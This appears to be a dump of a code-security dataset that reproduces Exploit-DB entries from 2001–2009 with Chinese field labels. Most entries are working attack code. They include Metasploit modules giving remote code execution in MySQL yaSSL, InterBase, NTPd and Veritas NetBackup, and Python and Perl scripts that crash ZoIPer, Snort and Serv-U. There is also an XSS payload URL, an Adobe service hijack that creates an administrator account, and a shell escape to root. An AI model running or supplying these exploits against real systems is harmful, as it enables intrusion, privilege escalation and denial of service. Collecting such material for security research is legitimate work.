QLWD/code_shield huggingface dataset:
标题: Alleycode 2.21 - Local Overflow (SEH) EDB-ID: 9991 CVE: 2009-3709 2009-3708 类型: LOCAL 平台: WINDOWS 发布日期: 2009-10-05 漏洞利用脚本: What is AlleyCode?

AlleyCode is a free html editor. Alleycode was chosen as one of the best freebies on the Net. The entire list of the ' 101 Fabulous Freebies' was featured in the May 2006 issue of PCWorld Magazine. Thanks PCWorld...

Alleycode is a fast, sleek and highly productive award winning HTML editor with unique features. If you are new to HTML, Alleycode's great tutorial will walk you through your first coding steps... If you are an established coder you will find a refreshing, non-bloated infrastructure with fast and accurate delivery. Beyond HTML, Alleycode's wizardry focuses on PHP and CSS interaction for professional and easy management of your projects. Best of all, Alleycode is FREE! (we do accept donations if you find it useful).

What is the last version released?

The last version is 2.21

Where can i download AlleyCode?

You can download at http://www.alleycode.com/download.htm

POC:

Just create a html file with this code:

<html>

<head>

<title>

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@AAAA@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@</title>

<body>

oi

</body>

</html>

Then Click at Tools and Optimizer.

Registers:

EAX 00000000

ECX 41414141

EDX 7C9032BC ntdll.7C9032BC

EBX 00000000

ESP 0012F174

EBP 0012F194

ESI 00000000

EDI 00000000

EIP 41414141

C 0 ES 0023 32bit 0(FFFFFFFF)

P 1 CS 001B 32bit 0(FFFFFFFF)

A 0 SS 0023 32bit 0(FFFFFFFF)

Z 1 DS 0023 32bit 0(FFFFFFFF)

S 0 FS 003B 32bit 7FFDD000(FFF)

T 0 GS 0000 NULL

D 0

O 0 LastErr ERROR_SUCCESS (00000000)

EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)

ST0 empty -UNORM 9FF2 0000000C 0012FBC4

ST1 empty -3.8474706309670431820e-4535

ST2 empty 3.9878918856663954540e-2331

ST3 empty +UNORM 00C3 00000000 00000084

ST4 empty 0.0000000546879907910e-4933

ST5 empty 1.0000000000000000000

ST6 empty 1.0000000000000000000

ST7 empty 1.0000000000000000000

3 2 1 0 E S P U O Z D I

FST 4020 Cond 1 0 0 0 Err 0 0 1 0 0 0 0 0 (EQ)

FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0

Rafael Sousa URL: https://www.exploit-db.com/exploits/9991
标题: Apache mod_perl - 'Apache::Status' / 'Apache2::Status' Cross-Site Scripting EDB-ID: 9993 CVE: 2009-0796 2009-0795 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/34383/info

The Apache 'mod_perl' module is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/perl-status/APR::SockAddr::port/%22%3E%3Cscript%3Ealert(1)%3C/script%3E URL: https://www.exploit-db.com/exploits/9993
标题: Adobe Photoshop Elements - Active File Monitor Service Privilege Escalation EDB-ID: 9988 CVE: 2009-3489 类型: LOCAL 平台: WINDOWS 发布日期: 2009-10-29 漏洞利用脚本: To exploit this issue, attackers require local, interactive access to an affected computer.

The following example commands are available:

sc stop "AdobeActiveFileMonitor8.0"
sc config "AdobeActiveFileMonitor8.0" binPath= "cmd /c net user adobe kills /add && net localgroup Administrators adobe /add"
sc start "AdobeActiveFileMonitor8.0"
runas /noprofile /user:%COMPUTERNAME%\adobe cmd URL: https://www.exploit-db.com/exploits/9988
标题: ZoIPer 2.22 - Call-Info Remote Denial of Service EDB-ID: 9987 CVE: 2009-3704 类型: DOS 平台: MULTIPLE 发布日期: 2009-10-14 漏洞利用脚本: #!/usr/bin/python

# ZoIPer v2.22 Call-Info Remote Denial Of Service.
# Remote Crash P.O.C.
# Author: Tomer Bitton (Gr33n_G0bL1n)
# Tested on Windows XP SP2 , SP3 , Ubuntu 8.10
#
# Vendor Notified on: 21/09/2009
# Vendor Fix: Fixed in version 2.24 Library 5324
#
# Bad Chars:   \x20  ,  \x09

import sys
import socket
import os


def main(argc , argv):

 if len(sys.argv) != 2:
  os.system("cls")
  sys.exit("Usage: " + sys.argv[0] + " <target_ip>\n")
 
 target_host = sys.argv[1]
 target_port = 5060

 evil_packet =   "\x49\x4e\x56\x49\x54\x45\x20\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31"+\
     "\x30\x2e\x30\x2e\x30\x2e\x31\x20\x53\x49\x50\x2f\x32\x2e\x30\x0d"+\
     "\x0a\x56\x69\x61\x3a\x20\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44"+\
     "\x50\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31"+\
     "\x3a\x31\x32\x39\x38\x3b\x62\x72\x61\x6e\x63\x68\x3d\x7a\x39\x68"+\
     "\x47\x34\x62\x4b\x4a\x52\x6e\x54\x67\x67\x76\x4d\x47\x6c\x2d\x36"+\
     "\x32\x33\x33\x0d\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72\x64"+\
     "\x73\x3a\x20\x37\x30\x0d\x0a\x46\x72\x6f\x6d\x3a\x20\x4d\x6f\x72"+\
     "\x70\x68\x65\x75\x73\x20\x3c\x73\x69\x70\x3a\x4d\x6f\x72\x70\x68"+\
     "\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31"+\
     "\x33\x31\x3e\x3b\x74\x61\x67\x3d\x66\x37\x6d\x58\x5a\x71\x67\x71"+\
     "\x5a\x79\x2d\x36\x32\x33\x33\x0d\x0a\x54\x6f\x3a\x20\x4e\x65\x6f"+\
     "\x20\x3c\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31\x30\x2e\x30\x2e\x30"+\
     "\x2e\x31\x3e\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20\x77\x53"+\
     "\x48\x68\x48\x6a\x6e\x67\x39\x39\x2d\x36\x32\x33\x33\x40\x31\x39"+\
     "\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31\x0d\x0a\x43\x53"+\
     "\x65\x71\x3a\x20\x36\x32\x33\x33\x20\x49\x4e\x56\x49\x54\x45\x0d"+\
     "\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x3c\x73\x69\x70\x3a\x4d"+\
     "\x6f\x72\x70\x68\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e"+\
     "\x35\x37\x2e\x31\x33\x31\x3e\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74"+\
     "\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69"+\
     "\x6f\x6e\x2f\x73\x64\x70\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x6e\x66"+\
     "\x6f\x3a\x20\x20\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c"+\
     "\x65\x6e\x67\x74\x68\x3a\x20\x31\x32\x35\x0d\x0a\x0d\x0a"
 
 os.system("cls")    
 print "[+] ZoIPer Call-Info Remote Denial Of Service\r\n"
 print "[+] Exploited By Gr33n_G0bL1n\r\n"
 print "[+] Connecting to %s on port %d\r\n" % (target_host,target_port)
 
 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 try:
  s.connect((target_host,target_port))
  print "[+] Trying To Send Evil Packet...\r\n"
  s.sendall(evil_packet)
  s.close()
  print "[+] Done!\r\n"
 except:
  print "[x] Connection Error!\r\n"


if (__name__ == "__main__"):
 sys.exit(main(len(sys.argv), sys.argv)) URL: https://www.exploit-db.com/exploits/9987
标题: Snort 2.8.5 - IPv6 Denial of Service EDB-ID: 9969 CVE: 2009-3641 类型: DOS 平台: MULTIPLE 发布日期: 2009-10-23 漏洞利用脚本: =============================================
- Date: October 22th, 2009
- Discovered by: Laurent Gaffi&#65533;
- Severity: Low
=============================================

I. VULNERABILITY
-------------------------
Snort <= 2.8.5 IPV6 Remote DoS


II. DESCRIPTION
-------------------------
A remote DoS was present in Snort 2.8.5 when parsing some specialy IPv6
crafted packet
To trigger theses bugs you need to have compiled snort with the
--enable-ipv6 option, and run it in verbose mode (-v)

III. PROOF OF CONCEPT
-------------------------
You can reproduce theses two differents bugs easily by using the Python
low-level networking lib Scapy
(http://www.secdev.org/projects/scapy/files/scapy-latest.zip)

1) #only works on x86

#/usr/bin/env python
from scapy.all import *
u = "\x92"+"\x02" * 6
send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP

2) # works x86,x64

#/usr/bin/env python
from scapy.all import *

z = "Q" * 30
send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(type=4)/z) #nh1 ->
icmp (not v6)


IV. SYSTEMS AFFECTED
-------------------------
Theses proof of concept as been tested on snort:
- 2.8.5

V. NOT AFFECTED
-------------------------
Sourcefire 3D Sensor


VI. SOLUTION
-------------------------
A new version correcting theses issues as been released (2.8.5.1) :

http://www.snort.org/downloads


VII. REFERENCES
-------------------------
http://www.snort.org/
http://vrt-sourcefire.blogspot.com/

VIII. REVISION HISTORY
-------------------------
October 14th, 2009: First issue discovered, advisory send to snort team.
October 14th, 2009: Snort security team confirm the bug.
October 16th, 2009: Second issue discovered, advisory send to snort team.
October 20th, 2009: Snort security team confirm the bug.
October 22th, 2009: Snort team released a new version.


IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffi&#65533;
Laurent.gaffie{remove-this}(at)gmail.com URL: https://www.exploit-db.com/exploits/9969
标题: Serv-U Web Client 9.0.0.5 - Remote Buffer Overflow (1) EDB-ID: 9966 CVE: 2009-4873 类型: REMOTE 平台: WINDOWS 发布日期: 2009-11-02 漏洞利用脚本: -- KC Security PUBLIC ADVISORY -- http://www.rangos.de -- 
11-01-2009


RhinoSoft.com Serv-U 9.0.0.5 WebClient Remote Buffer Overflow


Background
------------

Serv-U includes a simple, browser-based transfer client perfect
for every business environment. The Web Client is accessed through
a standard web browser and features an unintimidating, familiar interface.
It is a great way for sharing photos and image files with clients and
co-workers due to its configurable thumbnail view that allows remote
images to be quickly viewed without downloading the entire file.
An additional slideshow view offers a fast way to share a collection 
of photos from your latest projects. When using Serv-U, photo sharing 
sites and large email attachments are a thing of the past!


Description
------------

Remote exploitation of a buffer overflow in the Serv-U WebClient
may allow attackers to execute arbitrary code.

The problem lies in the handling of overly long Session Cookies.
When a very long session cookie is sent to the Serv-U WebClient
HTTP Service an overrun occurs and EIP becomes "overwritten".


Detection
------------
KC Security confirmed the vulnerability in the latest version of Serv-U
WebClient which is 9.0.0.5.


Workaround
------------
Disable the WebClient Service and use the Serv-U FTP/SFTP components only.


Proof of concept
------------
The following PERL script will crash the Serv-U.exe service and overwrite
EIP with 0xAAAAAAAA.

---snip---
use IO::Socket;

$|=1;
$a = "A" x 100000;
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '80',
                              Proto    => 'tcp');                             

print $sock "POST / HTTP/1.1\r\n"
."Host: $ARGV[0]\r\n"
."Cookie: killmenothing; SULang=de%2CDE; themename=vista; Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb950754581406246bf8$a\r\n"
."Content-Type: multipart/form-data; boundary=---------------------------25249352331758\r\n"
."Content-Length: 0\r\n\r\n";

while (<$sock>) {
 print;
}
---snip---


Credit
------------
This vulnerability was discovered by Nikolaos Rangos of KC Security.
Visit us at http://www.rangos.de URL: https://www.exploit-db.com/exploits/9966
标题: Palm Pre WebOS 1.1 - Denial of Service EDB-ID: 9956 CVE: 2009-5098 类型: DOS 平台: HARDWARE 发布日期: 2009-10-14 漏洞利用脚本: I.  Description

The Palm Pre WebOS version <= 1.1 suffers from a floating point exception vulnerability when attempting to view a specially crafted web page. This vulnerability has been addressed in the latest patch from Palm and all users are recommended to update to WebOS version 1.2+.

II.  Impact

If a user views a malicious web page that contains specially crafted data, the "LunaSysMgr" process will crash, causing the device to simulate a reboot.  The bug itself is a floating point exception that crashes the "LunaSysMgr" process and forces the device to restart the process, simulating a reboot of the system.  At the time of the discovery, the greatest risk to the system was a denial of service condition. 

The crash does not occur when viewing the malicious web page while in landscape mode.

III. Proof of Concept

The Palm Pre WebOS version <= 1.1 will crash upon opening a web page that contains 50,280 bytes of data or greater and attempts to refresh the page.  Upon viewing the malicious web page the LunaSysMgr process will generate a floating point exception and simulate a system "reboot".

The following code will trigger the issue

"<meta http-equiv="refresh" content="1">AAAAA..." using 50280 or more characters after the refresh.

IV. About

This vulnerability was discovered by Townsend Ladd Harris <PalmPreHacker [a t] gmail.com>

Vulnerability details will be posted at: http://tlhsecurity.blogspot.com/2009/10/palm-pre-webos-version-11-floating.html URL: https://www.exploit-db.com/exploits/9956
标题: Overland Guardian OS 5.1.041 - Local Privilege Escalation EDB-ID: 9955 CVE: 2009-4607 类型: LOCAL 平台: HARDWARE 发布日期: 2009-10-20 漏洞利用脚本: Device: Snap Server 410
OS: GuardianOS 5.1.041
Description: When logged in to CLI via ssh as admin (uid=1) you can escalate your privileges to uid 0 and get /bin/sh. In order to achieve this open 'less' which is available as default for viewing files (ie. less /tmp/top.log) and type in '!/bin/sh'. This will give you direct access to sh shell with UID 0. Tested only on OS version as above. URL: https://www.exploit-db.com/exploits/9955
标题: MySQL 6.0 yaSSL 1.7.5 - Hello Message Buffer Overflow (Metasploit) EDB-ID: 9953 CVE: 2008-0226 类型: REMOTE 平台: LINUX 发布日期: 2008-01-04 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack overflow in the yaSSL (1.7.5 and earlier)
     implementation bundled with MySQL <= 6.0. By sending a specially crafted
     Hello packet, an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2008-0226' ],
     [ 'OSVDB', '41195' ],
     [ 'BID', '27140' ],

    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 100,
     'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
    },
   'Platform'       => 'linux',
   'Targets'        => 
    [
     [ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ], 
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 4 2008'))

   register_options([ Opt::RPORT(3306)], self.class)
 end
  
 def exploit
  connect

  sock.get_once

  req_uno =  [0x01000020].pack('V')

  req_dos =  [0x00008daa].pack('V') + [0x40000000].pack('V')
  req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
  req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
  req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
  req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
  req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)
  req_dos << [target.ret].pack('V') + payload.encoded
  req_dos << rand_text_alphanumeric(1024)

  print_status("Trying target #{target.name}...")

  sock.put(req_uno)
  sock.put(req_dos)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/9953
标题: Borland Interbase 2007 - 'PWD_db_aliased' Remote Buffer Overflow (Metasploit) EDB-ID: 9954 CVE: 2007-5243 类型: REMOTE 平台: LINUX 发布日期: 2007-10-03 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Borland InterBase PWD_db_aliased() Buffer Overflow',
   'Description' => %q{
    This module exploits a stack overflow in Borland InterBase
    by sending a specially crafted attach request.
   },
   'Version' => '$Revision$',
   'Author' =>
    [
     'ramon',
     'Adriano Lima <adriano@risesecurity.org>',
    ],
   'Arch'  => ARCH_X86,
   'Platform' => 'linux',
   'References' =>
    [
     [ 'CVE', '2007-5243' ],
     [ 'OSVDB', '38607' ],
     [ 'BID', '25917' ],
     [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 512,
     'BadChars' => "\x00\x2f\x3a\x40\x5c",
    },
   'Targets' =>
    [
     # 0x0804cbe4 pop esi; pop ebp; ret
     [
      'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
      { 'Ret' => 0x0804cbe4 }
     ],
    ],
   'DefaultTarget' => 0
  ))

  register_options(
   [
    Opt::RPORT(3050)
   ],
   self.class
  )

 end

 def exploit

  connect

  # Attach database
  op_attach = 19

  length = 1152
  remainder = length.remainder(4)
  padding = 0

  if remainder > 0
   padding = (4 - remainder)
  end

  buf = ''

  # Operation/packet type
  buf << [op_attach].pack('N')

  # Id
  buf << [0].pack('N')

  # Length
  buf << [length].pack('N')

  # It will return into this nop block
  buf << make_nops(length - payload.encoded.length - 4)

  # Payload
  buf << payload.encoded

  # Target
  buf << [target.ret].pack('V')

  # Padding
  buf << "\x00" * padding

  # Length
  buf << [1024].pack('N')

  # Random alpha data
  buf << rand_text_alpha(1024)

  sock.put(buf)

  handler

 end

end URL: https://www.exploit-db.com/exploits/9954
标题: NTPd 4.0.99j-k readvar - Remote Buffer Overflow (Metasploit) EDB-ID: 9940 CVE: 2001-0414 类型: REMOTE 平台: LINUX 发布日期: 2001-04-04 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Udp
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NTP daemon readvar Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack based buffer overflow in the
    ntpd and xntpd service. By sending an overly long 'readvar'
    request it is possible to execute code remotely. As the stack
    is corrupted, this module uses the Egghunter technique.
   },
   'Author'         => 'patrick',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     => 
    [ 
      [ 'CVE', '2001-0414' ],
      [ 'OSVDB', '805' ],
      [ 'BID', '2540' ],
      [ 'URL', 'http://www.kb.cert.org/vuls/id/970472' ],
    ],
   'Payload'        =>
    {
     'Space'    => 220,
     'BadChars' => "\x00\x01\x02\x16,=",
     'StackAdjustment' => -3500,
     'PrependEncoder' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "xor eax,eax mov al,27 int 0x80").encode_string, # alarm(0)
     'Compat'   => 
     {
      'ConnectionType' => '-reverse',
     },
    },
   'Platform'       => [ 'linux' ],
   'Arch'   => [ ARCH_X86 ],
   'Targets'        =>
    [
      [ 'RedHat Linux 7.0 ntpd 4.0.99j',   { 'Ret' => 0xbffffbb0 } ],
      [ 'RedHat Linux 7.0 ntpd 4.0.99j w/debug',  { 'Ret' => 0xbffff980 } ],
      [ 'RedHat Linux 7.0 ntpd 4.0.99k',   { 'Ret' => 0xbffffbb0 } ],
      #[ 'FreeBSD 4.2-STABLE',    { 'Ret' => 0xbfbff8bc } ],
      [ 'Debugging',      { 'Ret' => 0xdeadbeef } ],
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Apr 04 2001',
   'DefaultTarget' => 0))

   register_options([Opt::RPORT(123)], self.class)
 end

 def exploit

  hunter  = generate_egghunter
  egg     = hunter[1]

  connect_udp

  pkt1 = "\x16\x02\x00\x01\x00\x00\x00\x00\x00\x00\x016stratum="
  pkt2 = "\x16\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00"

  sploit =  pkt1 + make_nops(512 - pkt1.length)
  sploit[(220 + pkt1.length), 4] = [target['Ret']].pack('V')
  sploit[(224 + pkt1.length), hunter[0].length] = hunter[0]

  print_status("Trying target #{target.name}...")

  print_status("Sending hunter")
  udp_sock.put(sploit)
  sleep(0.5)

  print_status("Sending payload")
  udp_sock.put(pkt1 + egg + egg + payload.encoded)
  sleep(0.5)

  print_status("Calling overflow trigger")
  udp_sock.put(pkt2)
  sleep(0.5)

  handler
  disconnect_udp

 end

end URL: https://www.exploit-db.com/exploits/9940
标题: Veritas NetBackup - Remote Command Execution (Metasploit) EDB-ID: 9941 CVE: 2004-1389 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-10-21 漏洞利用脚本: ##
# $Id: veritas_netbackup_cmdexec.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VERITAS NetBackup Remote Command Execution',
   'Description'    => %q{
     This module allows arbitrary command execution on an
    ephemeral port opened by Veritas NetBackup, whilst an
    administrator is authenticated. The port is opened and
    allows direct console access as root or SYSTEM from
    any source address.
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10617 $',
   'References'     =>
    [
     [ 'CVE', '2004-1389' ],
     [ 'OSVDB', '11026' ],
     [ 'BID', '11494' ],
     [ 'URL', 'http://seer.support.veritas.com/docs/271727.htm' ],

    ],
   'Privileged'     => true,
   'Platform'       => ['unix', 'win', 'linux'],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => '',
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },
   'Targets'        =>
    [
     ['Automatic', { }],
    ],
   'DisclosureDate' => 'Oct 21 2004',
   'DefaultTarget' => 0))
 end

 def check
  connect

  sploit = rand_text_alphanumeric(10)
  buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n"

  sock.put(buf)
  banner = sock.get(3,3)

  disconnect

  if (banner and banner =~ /#{sploit}/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  sploit = payload.encoded.split(" ")

  buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\n"
  buf << payload.encoded
  buf << "\n"

  sock.put(buf)
  res = sock.get(-1,3)

  print_status("#{res}")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/9941